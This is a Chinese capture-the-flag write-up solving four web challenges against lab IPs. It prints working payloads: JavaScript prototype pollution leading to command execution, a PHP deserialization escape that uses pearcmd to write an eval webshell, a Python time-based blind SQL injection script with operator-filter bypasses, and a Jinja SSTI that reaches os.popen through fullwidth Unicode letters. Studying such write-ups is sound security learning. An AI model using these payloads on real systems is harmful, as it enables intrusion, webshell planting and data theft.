强网'拟态'4道web题

2022-11-16 20:07:35 浏览数 (1)

又被带飞了

WHOYOUARE

下载附件审计代码,一眼原型链污染题。ban了很多东西

代码语言:javascript复制
const whileTypes = ['boolean', 'string', 'number', 'bigint', 'symbol', 'undefined'];

const merge = (target, source) => {
    for (const key in source) {
        if(!whileTypes.includes(typeof source[key]) && !whileTypes.includes(typeof target[key])){
            if(key !== '__proto__'){
                merge(target[key], source[key]);
            }
        }else{
            target[key] = source[key];
        }
    }
}

4字符命令执行也限制很多,只能想办法污染 Object 。这里我当时还是对原型链污染了解的太少了,后面才了解道可以用 constructorprototype 来绕过限制。

这里简单记录下

可以看到对象 a 的原型和 a 的构造方法的原型是一样的,都是 Object

数组对象的原型是 Array,在往上是 Object

js 里的原型链说白了其实和其他语言里的继承是一样的。Object 里的东西在对应的实例会相应继承下来。

顺着上面的思路就能得到 __proto__ ban了但 prototype 能用, constructor 也能用。注意到 request.user.__proto__ === request.user.constructor.prototype ,都是 Object 。js中数组最后的原型也是 Object ,所以可以这样污染

代码语言:javascript复制
{"user":"{"command":["-c"],"constructor":{"prototype": {"1": "cat /flag"}}}"}

连续发两次即可拿到flag

代码语言:javascript复制
flag {AHhsDYc4hLkxcp0DkJJmBtL5gv5gQiYr}

ezus

首先可以看到这一段源码

代码语言:javascript复制
<?php
include 'tm.php'; // Next step in tm.php
if (preg_match('/tm.php/*$/i', $_SERVER['PHP_SELF']))
{
    exit("no way!");
}
if (isset($_GET['source']))
{
    $path = basename($_SERVER['PHP_SELF']);
    if (!preg_match('/tm.php$/', $path) && !preg_match('/index.php$/', $path))
    {
        exit("nonono!");
    }
    highlight_file($path);
    exit();
}
?>
<a href="index.php?source">source</a>

直接绕过就行

http://172.52.4.193/index.php/tm.php/�?source

得到tm.php源码

代码语言:javascript复制
<?php
class UserAccount
{
    protected $username;
    protected $password;
 
    public function __construct($username, $password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
 
function object_sleep($str)
{
    $ob = str_replace(chr(0).'*'.chr(0), '@0@0@0@', $str);
    return $ob;
}
 
function object_weakup($ob)
{
    $r = str_replace('@0@0@0@', chr(0).'*'.chr(0), $ob);
    return $r;
}
​
class order
{
    public $f;
    public $hint;
    
    public function __construct($hint, $f)
    {
        $this->f = $f;
        $this->hint = $hint;
    }
    
    public function __wakeup()
    {
        //something in hint.php
        if ($this->hint != "pass" || $this->f != "pass") {
            $this->hint = "pass";
            $this->f = "pass";
        }
    }
    
    public function __destruct()
    {
        if (filter_var($this->hint, FILTER_VALIDATE_URL))
        {
            $r = parse_url($this->hint);
            if (!empty($this->f)) {
                if (strpos($this->f, "try") !==  false && strpos($this->f, "pass") !== false) {
                    @include($this->f . '.php');
                } else {
                    die("try again!");
                }
                if (preg_match('/prankhub$/', $r['host'])) {
                    @$out = file_get_contents($this->hint);
                    echo "<br/>".$out;
                } else {
                    die("<br/>error");
                }
            } else {
                die("try it!");
            }
        }
        else
        {
            echo "Invalid URL";
        }
    }
}
​
$username = $_POST['username'];
$password = $_POST['password'];
​
$user = serialize(new UserAccount($username, $password));
unserialize(object_weakup(object_sleep($user)))
?> 

存在反序列化的逃逸,目的是用UserAccount类去触发order类payload:

代码语言:javascript复制
username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"*password";O:5:"order":3:{s:1:"f";s:61:"php://filter/trypass/read=convert.base64-encode/resource=hint";s:4:"hint";s:25:"0://172.52.4.86/;prankhub";}}

读一下hint.php

代码语言:javascript复制
<?php
echo "This is the wrong way";
$flag = "you can find it in /f1111444449999.txt";
?>

尝试一下pearcmd,发现还真有,那么就可以直接写马了payload:

代码语言:javascript复制
POST /index.php? config-create /&/<?=eval($_POST[1])?> 3.php

username=@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@@0@0@0@&password=";s:11:"*password";O:5:"order":3:{s:1:"f";s:60:"trypass/../../../../../../../../../usr/local/lib/php/pearcmd";s:4:"hint";s:25:"0://172.52.4.86/;prankhub";}}

getshell后读flag

代码语言:javascript复制
(www-data:/var/www/html) $ cat /f1111444449999.txt
flag{sMGbQqN7RTQwS6L0j9f5nytW1wWBAkWJ}

popsql

纯sql注入绕过题,ban了很多测试发现username写死了只能是admin,password处存在注入

代码语言:javascript复制
'or/**/if(1,benchmark(1000000000,1),1)#

有延时,可以用这个来时间盲注,但比较的运算符都被 ban 了,后面想了很久发现可以用整除的方法来判断,sql中 96 DIV ord('a') 结果为 0, 97 DIV ord('a') 结果为 1,可用来代替等号。利用 right 来截取字符串,配合 ord 打出取第一个字符 ascii 值的效果

查表

代码语言:javascript复制
'or/**/if((97/**/div/**/ord(right((select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer),1))),benchmark(100000000,1),1)#

表名: users, Fl49ish3re但不知道字段名, unionjoin 都被ban了,没法无列名注入。注意到mysql可以查历史记录的。

代码语言:javascript复制
select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_summary_by_digest
select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history
select/**/group_concat(query)/**/from/**/sys.x$statement_analysis

都尝试跑下,跑了很久找到了列名 f1aG123 然后就爆破 fllag 即可

代码语言:javascript复制
import requests
import time

burp0_url = "http://172.52.4.65:80/index.php"
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://172.52.4.65", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://172.52.4.65/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
# dictList = "012456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"
def burp():
    password = ''
    time0 = 0
    num = 1
    while True:
        for i in range(32, 127):
            time0 = time.time()
            # select/**/group_concat(table_name)/**/from/**/sys.schema_table_statistics_with_buffer     查表
            # 查历史记录  select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_summary_by_digest
            # select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history
            # select/**/group_concat(query)/**/from/**/sys.x$statement_analysis
            # select/**/f1aG123/**/from/**/Fl49ish3re
            burp0_data = {"username": "admin", "password": f"'or/**/if(({i}/**/div/**/ord(right((select/**/group_concat(digest_text)/**/from/**/performance_schema.events_statements_history),{num}))),benchmark(100000000,1),1)#"}
            r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, allow_redirects=False)
            if time.time() - time0 > 0.5:
                password  = chr(i)
                # print(r.text)
                break
            # print(chr(i))
        print(password[::-1])
        num  = 1
    
if __name__ == '__main__':
    burp()

没有人比我更懂py

发送 {{1*2}} 回显 2 ,存在SSTI,但只能发送中文,不能出现英文字母,但可以有特殊字符。可以试试其他 Unicode 字符。在 Unicode字符百科网站上找到了 全形拉丁文小写字母

尝试发送发现最后解析成了正常的字母

所以可以利用这个 全形拉丁文小写字母 来构造payload

代码语言:javascript复制
{{g.pop.__globals__.__builtins__['__import__']('os').popen('cat /*').read()}}
代码语言:javascript复制
flag{divTsehRNaVAaUR1eamFeKs4mmX82Kid}

0 人点赞